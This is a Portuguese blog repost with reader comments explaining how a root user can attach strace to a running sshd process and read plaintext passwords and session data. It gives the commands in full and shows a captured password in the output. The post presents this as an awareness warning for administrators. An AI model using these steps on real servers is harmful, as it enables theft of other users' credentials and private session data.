Esta Saiu na Dicas-L e achei importante tornar público:
Sniffando o SSH com o Strace ============================ É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace. 1. Sniffando a Senha do Login: ============================== 1. No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd: Zion:~# ps aux | grep sshd | grep -v grep root 6097 0.0 0.1 4792 1076 ? Ss 16:49 0:00 /usr/sbin/sshd 2. De posse deste pid dispare o Strace (como root): Zion:~# strace -f -p 6097 -o snif_ssh.txt & Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar outras opções de filtragem e paãmetros. 3. De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh com um usuário qualquer: godoy@Zion:~$ ssh localhost Password: textoplano Last login: Mon May 7 17:01:15 2007 from localhost.localdomain godoy@Zion:~$ 4. Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure pelas chamadas read ou write: Zion:~# cat snif_ssh.txt | grep read | more 6521 write(4, 1ntextoplano , 18 <unfinished > 6520 < read resumed> 71ntextoplano , 19) = 19 6520 write(7, ntextoplano , 14 <unfinished > 6522 < read resumed> 6ntextoplano , 15) = 15 2. Sniffando as demais transferências de dados: =============================================== 1. Digite o seguinte comando, restringindo a busca as chamadas read e write: Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 & 2. Teste alguns comandos no cliente: godoy@Zion:~$ cat > teste.txt ======== OK ======= Sniffou?? ======= OK ======= godoy@Zion:~$ 3. Verifique o log o servidor pesquisando por write ou read: Zion:~# cat snif_ssh.txt | grep === 6586 < read resumed> ======== OK =======n , 4096) = 20 6586 write(1, ======== OK =======n , 20) = 20 6586 < read resumed> ======= OK =======n , 4096) = 19 6586 write(1, ======= OK =======n , 19) = 19 Zion:~# cat snif_ssh.txt | grep Sniff 6586 < read resumed> Sniffou??n , 4096) = 10 6586 write(1, Sniffou??n , 10) = 10 Zion:~# Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo bem grande, cabe aqui um script para filtrar melhor o log que será gravado no arquivo sniff_ssh.txt. Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!! E que também pode-se criar um rootkit que se aproveite desta comunicação de SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes. Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes. Fonte: Leandro Godoy http://www.blogmind.com.br/
Fala cara, legal esse artigo ae 😀
Eu sou grande adepto do strace também. Quando tudo mais me decepciona, ele salva o dia.
Abraço!
muito legal x]